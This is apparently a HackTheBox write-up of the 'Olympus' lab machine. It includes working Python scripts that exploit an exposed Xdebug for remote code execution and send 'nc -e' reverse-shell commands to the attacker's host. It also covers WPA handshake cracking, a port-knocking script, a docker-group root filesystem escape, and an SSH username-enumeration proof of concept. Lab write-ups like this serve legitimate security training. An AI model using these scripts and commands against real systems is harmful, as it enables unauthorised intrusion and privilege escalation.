Olympus was, for the most part, a really fun box, where we got to bounce around between different containers, and a clear path of challenges was presented to us. The creator did a great job of getting interesting challenges such as dns and wifi cracking into a HTB format. There was one jump I wasn’t too excited to have to make, but overall, this box was a lot of fun to attack.

Recon

nmap

nmap gives us ssh on 2222, dns (tcp and udp), and web on 80. There’s also something going on with port 22, as it returned filtered (no response) as opposed to closed (responded as closed):

root@kali# nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.83
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-21 05:48 EDT
Nmap scan report for 10.10.10.83
Host is up (0.10s latency).
Not shown: 65531 closed ports
PORT     STATE    SERVICE
22/tcp   filtered ssh
53/tcp   open     domain
80/tcp   open     http
2222/tcp open     EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 14.88 seconds

root@kali# nmap -sU -p- --min-rate 5000 -oA nmap/alludp 10.10.10.83
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-21 05:50 EDT
Warning: 10.10.10.83 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.83
Host is up (0.095s latency).
Not shown: 65386 open|filtered ports, 148 closed ports
PORT   STATE SERVICE
53/udp open  domain

Nmap done: 1 IP address (1 host up) scanned in 145.09 seconds

root@kali# nmap -sV -sC -p 22,53,80,2222 -oA nmap/initial 10.10.10.83
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-21 05:49 EDT
Nmap scan report for 10.10.10.83
Host is up (0.095s latency).

PORT     STATE    SERVICE VERSION
22/tcp   filtered ssh
53/tcp   open     domain  (unknown banner: Bind)
| dns-nsid:
|_  bind.version: Bind
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|     bind
|_    Bind
80/tcp   open     http    Apache httpd
|_http-server-header: Apache
|_http-title: Crete island - Olympus HTB
2222/tcp open     ssh     (protocol 2.0)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-City of olympia
| ssh-hostkey:
|   2048 f2:ba:db:06:95:00:ec:05:81:b0:93:60:32:fd:9e:00 (RSA)
|   256 79:90:c0:3d:43:6c:8d:72:19:60:45:3c:f8:99:14:bb (ECDSA)
|_  256 f8:5b:2e:32:95:03:12:a3:3b:40:c5:11:27:ca:71:52 (ED25519)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port53-TCP:V=7.70%I=7%D=5/21%Time=5B02962B%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,3F,"\0=\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07version\x
SF:04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x05\x04Bind\xc0\x0c\
SF:0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.70%I=7%D=5/21%Time=5B029626%P=x86_64-pc-linux-gnu%r(NU
SF:LL,29,"SSH-2\.0-City\x20of\x20olympia\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\r\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.01 seconds

DNS (53)

TCP 53 is typically not used for DNS, except for zone transfers. Unfortunately, it doesn’t provide much here:

root@kali# dig axfr @10.10.10.83 olympus.htb

; <<>> DiG 9.11.3-1-Debian <<>> axfr @10.10.10.83 olympus.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.

root@kali# dig @10.10.10.83 olympus.htb

; <<>> DiG 9.11.3-1-Debian <<>> @10.10.10.83 olympus.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 50991
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;olympus.htb.                   IN      A

;; Query time: 90 msec
;; SERVER: 10.10.10.83#53(10.10.10.83)
;; WHEN: Mon May 21 20:59:42 EDT 2018
;; MSG SIZE  rcvd: 40

We’ll have to remember to come back here if we find any interesting domains to query against.

Web (80)

Site

The site is just a picture of zeus set as background-image in css and a favicon:

15268964099481526896485658

	<!DOCTYPE HTML>
		<html>
		<head>
			<title>Crete island - Olympus HTB</title>
			<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
			<link rel="shortcut icon" href="favicon.ico">
			<link rel="stylesheet" type="text/css" href="crete.css">
		</head>
		<body class="crete">
		</body>
		</html>

gobuster

Turned up nothing:

root@kali# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.83/ -x txt,html,php

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.83/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
[+] Extensions   : .txt,.html,.php
=====================================================
/index.php (Status: 200)

HTTP Headers

Looking at the raw request / response, there is an interesting headers in the response:

HTTP/1.1 200 OK
Date: Mon, 21 May 2018 13:25:39 GMT
Server: Apache
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block
Xdebug: 2.5.5
Content-Length: 314
Connection: close
Content-Type: text/html; charset=UTF-8

Xdebug is a an extension for php that allows you to debug websites. The header may indicate that we can do remote debugging.

Exploiting Create Container - Shell as www-data

RCE Through Xdebug

There’s couple ways to interact with Xdebug. A developer would have an xdebug extension in their ide, and/or in their browser (there’s tons of plugins for both Chrome and Firefox). It’s worth taking a second and playing with the browser plugins to get a feel for them

But for a more direct path to RCE / shell, we can take the manual route. If you add a cookie XDEBUG_SESSION=..., the site will call back to you on default port 9000, and you can pass php commands to it.

This blog describes how to do the attack, albeit in Chinese. There’s a short script he uses to interact, which simply listens on port 9000, receives the connection, and then enters an infinite loop of reading input commands from the command line, and sends them back formatted for xdebug:

#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

To test it out, I’ll give Olympus a ping command, and use tcpdump to see if it works.

With script running, use curl to trigger Xdebug:

root@kali# curl http://10.10.10.83 -H "Cookie: XDEBUG_SESSION=wpOCvcWXx5"

Script gets callback. We can issue ping command:

root@kali# ./exploit_xdebug.py
494<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///var/www/html/index.php" language="PHP" xdebug:language_version="7.1.12" protocol_version="1.0" appid="5380" idekey="XDEBUG_ECLIPSE"><engine version="2.5.5"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick
Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>
>> system("ping -c 1 10.10.14.5")
336<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="61" encoding="base64"><![CDATA[cm91bmQtdHJpcCBtaW4vYXZnL21heC9zdGRkZXYgPSA5NC4zNjEvOTUuMDcyLzk1Ljg2MS8wLjU2MiBtcw==]]></property></response>
>>

And we see result in tcpdump:

root@kali# tcpdump -i 2 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
14:42:22.296409 IP 10.10.10.83 > kali: ICMP echo request, id 5413, seq 0, length 64
14:42:22.296431 IP kali > 10.10.10.83: ICMP echo reply, id 5413, seq 0, length 64

Decoding the data that came back in the CDATA block, we’ll see it’s part of the ping output:

root@kali# echo cm91bmQtdHJpcCBtaW4vYXZnL21heC9zdGRkZXYgPSA5NC4zNjEvOTUuMDcyLzk1Ljg2MS8wLjU2MiBtcw== | base64 -d
round-trip min/avg/max/stddev = 94.361/95.072/95.861/0.562 ms

Even better, if we look at the curl command, which has not returned yet, we get the output:

root@kali# curl http://10.10.10.83 -H "Cookie: XDEBUG_SESSION=wpOCvcWXx5"
PING 10.10.14.5 (10.10.14.5): 56 data bytes
64 bytes from 10.10.14.5: icmp_seq=0 ttl=62 time=18.276 ms
--- 10.10.14.5 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max/stddev = 18.276/18.276/18.276/0.000 ms

Shell

From the python script above, we’ll give nc -e a try and get lucky (since most hosts don’t have the -e option):

>> system("nc -e /bin/bash 10.10.14.5 8087")
root@kali# nc -lnvp 8087
listening on [any] 8087 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.83] 57586
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Script to get shell

Wrote script to get shell as www-data, get_olympic_www_shell.py

#!/usr/bin/env python3

from base64 import b64encode
import requests
import socket
import sys


if len(sys.argv) != 2:
    print("{} [nc port]".format(sys.argv[0]))
    sys.exit()

def get_my_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect(("10.10.10.1", 80))
    return s.getsockname()[0]

ip = get_my_ip()
port = sys.argv[1]

print("[!] Have nc listening on {}".format(port))

# Start Listener
local_ip = "0.0.0.0"
local_port = 9000
print("[*] Starting listener on {}:{}".format(local_ip, local_port))
s = socket.socket()
s.bind((local_ip, local_port))
s.listen(10)
print("[+] Listening...")

# Tip server to call back
print("[*] Sending request to tip xdebug")
try:
    r = requests.get("http://10.10.10.83/index.php",
                 headers={"Cookie": "XDEBUG_SESSION=wpOCvcWXx5"},
                timeout=2)
except:
    pass

# Catch callback
conn, addr = s.accept()
client_data = conn.recv(1024)
print("[+] Connection received from {}:{} on port {}".format(addr[0], addr[1], local_port))
cmd = 'system("nc -e /bin/sh {} {}")'.format(ip, port).encode('utf-8')
print("[*] Sending command get shell on port {}".format(port))
conn.sendall(('eval -i 1 -- %s\x00' % b64encode(cmd).decode('utf-8')).encode('utf-8'))

print("[*] Cleaning up. Should have callback")
s.close()
conn.close()

Now, to get a shell, with nc listener going, run the script:

root@kali# ./get_olympic_www_shell.py 443
[!] Have nc listening on 443
[*] Starting listener on 0.0.0.0:9000
[+] Listening...
[*] Sending request to tip xdebug
[+] Connection received from 10.10.10.83:36262 on port 9000
[*] Sending command get shell on port 443
[*] Cleaning up. Should have callback

And get a callback:

root@kali# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.83] 48372
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We now have access to what we’ll later find is called the the Create container.

Pivot to Olympia Container - Shell as icarus

Enumeration of Create

It’s quickly clear that this is a stripped down environment, likely a container:

which python

which python3

hostname
f00ba96171c5

ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:ac:14:00:02
          inet addr:172.20.0.2  Bcast:172.20.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3149050 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2384513 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:421530652 (402.0 MiB)  TX bytes:423441702 (403.8 MiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:36092 errors:0 dropped:0 overruns:0 frame:0
          TX packets:36092 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:2823261 (2.6 MiB)  TX bytes:2823261 (2.6 MiB)

arp -a
? (172.20.0.1) at 02:42:e3:e6:86:2f [ether] on eth0

netstat -anop | grep LISTEN
tcp        0      0 127.0.0.11:36933        0.0.0.0:*               LISTEN      -                off (0.00/0/0)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                off (0.00/0/0)

There’s only one user on the box, zeus, and the only thing in the homedir is airgeddon, a tool for WiFi sniffing. Inside /home/zeus/airgeddon/captured is a pcap and a note:

pwd
/home/zeus/airgeddon/captured
ls -la
total 304
drwxr-xr-x 1 zeus zeus   4096 Apr  8 17:31 .
drwxr-xr-x 1 zeus zeus   4096 Apr  8 10:56 ..
-rw-r--r-- 1 zeus zeus 297917 Apr  8 12:48 captured.cap
-rw-r--r-- 1 zeus zeus     57 Apr  8 17:30 papyrus.txt

cat papyrus.txt
Captured while flying. I'll banish him to Olympia - Zeus

Cracking 802.11

I’ll pull the cap file back to my workstation using nc, and then use aircrack-ng to get the wifi password from the pcap. To do so, we’ll need the SSID, which we find in the first packet:

1526933143270

root@kali# aircrack-ng -e Too_cl0se_to_th3_Sun -w /usr/share/wordlists/rockyou.txt olympia_loot/caputred.cap

                                 Aircrack-ng 1.2

      [00:12:44] 5306144/9822768 keys tested (7499.83 k/s)

      Time left: 10 minutes, 2 seconds                          54.02%

                        KEY FOUND! [ flightoficarus ]


      Master Key     : FA C9 FB 75 B7 7E DC 86 CC C0 D5 38 88 75 B8 5A
                       88 3B 75 31 D9 C3 23 C8 68 3C DB FA 0F 67 3F 48

      Transient Key  : 46 7D FD D8 1A E5 1A 98 50 C8 DD 13 26 E7 32 7C
                       DE E7 77 4E 83 03 D9 24 74 81 30 84 AD AD F8 10
                       21 62 1F 60 15 02 0C 5C 1C 84 60 FA 34 DE C0 4F
                       35 F6 4F 03 A2 0F 8F 6F 5E 20 05 27 E1 73 E0 73

      EAPOL HMAC     : AC 1A 73 84 FB BF 75 9C 86 CF 5B 5A F4 8A 4C 38

SSH as icarus

Back at the original nmap, there was ssh open on port 2222. With some new passwords in hand, try logging in. Both zeus and root failed with both “flightoficarus” and “Too_cl0se_to_th3_Sun”. But there’s be several hints here that we’re talking about Icarus:

  • The 802.11 password, “flightoficarus”
  • The network name “Too_cl0se_to_th3_Sun”
  • We’ll see later that the first container was named Create, and Icarus and his father escate from Create

If we ssh as icarus with password Too_cl0se_to_th3_Sun worked!

root@kali# ssh icarus@10.10.10.83 -p 2222
icarus@10.10.10.83's password:
Last login: Sun Apr 15 16:44:40 2018 from 10.10.14.4
icarus@620b296204a3:~$ pwd
/home/icarus

We now have access to what we’ll later find is called the Olympia container.

Pivot to Hades / Olympus - Shell as prometheus

Enumeration of Olympia

This box is pretty stripped down, matching our suspicion that it’s a container:

icarus@620b296204a3:~$ which nc
icarus@620b296204a3:~$ which python
icarus@620b296204a3:~$ which python3
/usr/bin/python3
icarus@620b296204a3:~$ which curl
icarus@620b296204a3:~$ which wget
/usr/bin/wget
icarus@620b296204a3:~$ which ifconfig
icarus@620b296204a3:~$ which arp
icarus@620b296204a3:~$ which ping

This box is in a new subnet:

icarus@620b296204a3:~$ cat /proc/net/fib_trie | grep -B1 "32 host LOCAL"
           |-- 127.0.0.1
              /32 host LOCAL
--
           |-- 172.19.0.2
              /32 host LOCAL
--
           |-- 127.0.0.1
              /32 host LOCAL
--
           |-- 172.19.0.2
              /32 host LOCAL
icarus@620b296204a3:~$ cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
172.19.0.1       0x1         0x2         02:42:87:01:fe:61     *        eth0

icarus@620b296204a3:~$ cat /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 0B00007F:9ACD 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 15121 1 ffff9d99fba547c0 100 0 0 10 0
   1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 15329 1 ffff9d99faae8000 100 0 0 10 0
   2: 020013AC:0016 630F0A0A:870A 01 00000024:00000000 01:0000001E 00000000     0        0 61087 4 ffff9d99f9f2f000 30 5 31 10 -1

So the host is listening on 22 (ssh) and on localhost:39629.

In the home directory, there’s a note:

icarus@620b296204a3:~$ cat help_of_the_gods.txt

Athena goddess will guide you through the dark...

Way to Rhodes...
ctfolympus.htb

Revisiting Zone Transfer

Back in the initial enumeration phase, we had tried to do a zone transfer, but not come up with anything of interest. With the new subdomain, try a zone transfer again, and this time get a ton of information:

root@kali# dig axfr @10.10.10.83 ctfolympus.htb

; <<>> DiG 9.11.3-1-Debian <<>> axfr @10.10.10.83 ctfolympus.htb
; (1 server found)
;; global options: +cmd
ctfolympus.htb.         86400   IN      SOA     ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400
ctfolympus.htb.         86400   IN      TXT     "prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!"
ctfolympus.htb.         86400   IN      A       192.168.0.120
ctfolympus.htb.         86400   IN      NS      ns1.ctfolympus.htb.
ctfolympus.htb.         86400   IN      NS      ns2.ctfolympus.htb.
ctfolympus.htb.         86400   IN      MX      10 mail.ctfolympus.htb.
crete.ctfolympus.htb.   86400   IN      CNAME   ctfolympus.htb.
hades.ctfolympus.htb.   86400   IN      CNAME   ctfolympus.htb.
mail.ctfolympus.htb.    86400   IN      A       192.168.0.120
ns1.ctfolympus.htb.     86400   IN      A       192.168.0.120
ns2.ctfolympus.htb.     86400   IN      A       192.168.0.120
rhodes.ctfolympus.htb.  86400   IN      CNAME   ctfolympus.htb.
RhodesColossus.ctfolympus.htb. 86400 IN TXT     "Here lies the great Colossus of Rhodes"
www.ctfolympus.htb.     86400   IN      CNAME   ctfolympus.htb.
ctfolympus.htb.         86400   IN      SOA     ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400
;; Query time: 95 msec
;; SERVER: 10.10.10.83#53(10.10.10.83)
;; WHEN: Mon May 21 21:00:57 EDT 2018
;; XFR size: 15 records (messages 1, bytes 475)

Port Knocking

The note in the zone transfer gives a hint at a way forward: prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!

We noticed in the initial nmap that port 22 came back filtered. I’ll hypothesize that those three numbers are a clue for port knocking, and they could open ssh. I’ll also notice that the note was to prometheus (username?), and that the last bit looks like a password.

Wrote a short script to knock, open_portal_to_Hades.py:

#!/usr/bin/env python

from scapy.all import *
import pyperclip

def SendSyn(ip, port):
    ip=IP(src="10.10.15.99", dst=ip)
    SYN=TCP(sport=7777, dport=port, flags="S", seq=12345)
    send(ip/SYN)

ports = [3456, 8234, 62431]

for port in ports:
    SendSyn("10.10.10.83", port)

print("[+] Portal should be open.\nRun:\nssh prometheus@10.10.10.83\npassword: St34l_th3_F1re!")
print("[*] Putting password on system clipboard. Ctrl + Shift + v to paste")
pyperclip.copy('St34l_th3_F1re!\n')

To demonstrate the script, I’ll start with an nmap showing ssh on 22 filtered:

root@kali# nmap -p- -sT --min-rate 5000 10.10.10.83
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-21 21:15 EDT
Nmap scan report for 10.10.10.83
Host is up (0.095s latency).
Not shown: 65531 closed ports
PORT     STATE    SERVICE
22/tcp   filtered ssh
53/tcp   open     domain
80/tcp   open     http
2222/tcp open     EtherNetIP-1

Now, run the script:


root@kali# ./open_portal_to_Hades.py
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
[+] Portal should be open.
Run:
ssh prometheus@10.10.10.83
password: St34l_th3_F1re!

And check nmap again… ssh is open:

Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds
root@kali# nmap -p- -sT --min-rate 5000 10.10.10.83
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-21 21:15 EDT
Nmap scan report for 10.10.10.83
Host is up (0.095s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
2222/tcp open  EtherNetIP-1

Now we can ssh in, trying the credentials from the txt record:

root@kali# ./open_portal_to_Hades.py && ssh prometheus@10.10.10.83
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
[+] Portal should be open.
Run:
ssh prometheus@10.10.10.83
password: St34l_th3_F1re!
prometheus@10.10.10.83's password:

Welcome to

    )         (
 ( /(     )   )\ )   (
 )\()) ( /(  (()/(  ))\ (
((_)\  )(_))  ((_))/((_))\
| |(_)((_)_   _| |(_)) ((_)
| ' \ / _` |/ _` |/ -_)(_-<
|_||_|\__,_|\__,_|\___|/__/

prometheus@olympus:~$

user.txt

Finally, in prometheus’ home dir, we find user.txt:

prometheus@olympus:~$ ls
msg_of_gods.txt  user.txt
prometheus@olympus:~$ wc -c user.txt
33 user.txt
prometheus@olympus:~$ cat user.txt
8aa18519...

Privesc to root File System Access

Enumeration of Olympus

prometheus is the only non-root user on the box. In that homedir, there’s a note:

prometheus@olympus:~$ cat msg_of_gods.txt

Only if you serve well to the gods, you'll be able to enter into the

      _
 ___ | | _ _ ._ _ _  ___  _ _  ___
/ . \| || | || ' ' || . \| | |<_-<
\___/|_|`_. ||_|_|_||  _/`___|/__/
        <___'       |_|


Luckily, prometheus is in the docker group:

prometheus@olympus:/var/run$ groups
prometheus cdrom floppy audio dip video plugdev netdev bluetooth docker

prometheus@olympus:/var/run$ docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                    NAMES
0207645a2f24        crete               "docker-php-entrypoi…"   2 hours ago         Up 2 hours          80/tcp                                   dreamy_sammet
f00ba96171c5        crete               "docker-php-entrypoi…"   6 weeks ago         Up 3 hours          0.0.0.0:80->80/tcp                       crete
ce2ecb56a96e        rodhes              "/etc/bind/entrypoin…"   6 weeks ago         Up 3 hours          0.0.0.0:53->53/tcp, 0.0.0.0:53->53/udp   rhodes
620b296204a3        olympia             "/usr/sbin/sshd -D"      6 weeks ago         Up 3 hours          0.0.0.0:2222->22/tcp                     olympia

Linenum agrees that this is interesting:

...[snip]...
We're a member of the (docker) group - could possibly misuse these rights!:
uid=1000(prometheus) gid=1000(prometheus) groups=1000(prometheus),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(bluetooth),999(docker)
...[snip]...

root File System Access Via docker Group

To get access to the entire local file system, we’ll use docker to run one of the images, and we’re going to mount the local file system root in that image, and give ourselves a shell to that system.

docker run looks like this: $ docker run [OPTIONS] IMAGE[:TAG|@DIGEST][COMMAND] [ARG...] ref

So we’ll run docker run -v /:/hostOS -i -t rodhes bash:

  • -v /:/hostOS - mount the host’s / as /hostOS inside the image
  • -i - interactive
  • -t - create a tty
  • rodhes - the name of the image to run, got from docker ps above
    • I picked this one because it doesn’t have shell access by others, so it’s less likely to accidentally give the root flag to someone else
  • bash - command to run

And this does give root access:

prometheus@olympus:/dev/shm$ docker run -v /:/hostOS -i -t  rodhes bash
cat: /etc/hostip: No such file or directory

root@6e53f07f626a:/# id
uid=0(root) gid=0(root) groups=0(root)

root@6e53f07f626a:/# cd /hostOS/

root@6e53f07f626a:/hostOS# ls
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old

root.txt

And with full read access to the file system we can grab the flag:

root@6e53f07f626a:/hostOS/root# wc -c root.txt
33 root.txt

root@6e53f07f626a:/hostOS/root# cat root.txt
aba48699...

Commentary

This was a really cool box, and in having you jump from container to container, providing different interesting challenges like zone transfers and 802.11 cracking that aren’t typically seen in HTB. And it does it in a way that’s interesting but on the not insanely difficult side of the HTB difficulty spectrum.

The one part of the box that I think put most people off about Olymus, and kept it from being a really great box, was the pivot from getting SSID from the capture to ssh access as icarus. Guessing is often a part of hacking, but, in my opinion, using the SSID as the SSH password was a bit of a stretch. Even having a shared WiFi / SSH password would have been better. And some people were frustrated with getting to the user name of icarus. IppSec said he’s going to use CVE-2018-15473 and a list of Greek mythological figures to find the username, which is pretty cool (as always, you should watch his videos). I won’t go into detail here, but, using this POC, it does work:

root@kali# ./sshUsernameEnumExploit.py --port 2222 --username icarus 10.10.10.83
icarus is a valid user!
root@kali# ./sshUsernameEnumExploit.py --port 2222 --username icaruss 10.10.10.83
icaruss is not a valid user!

All of that said, I really enjoyed this box, and it’s clear path of interesting challenges.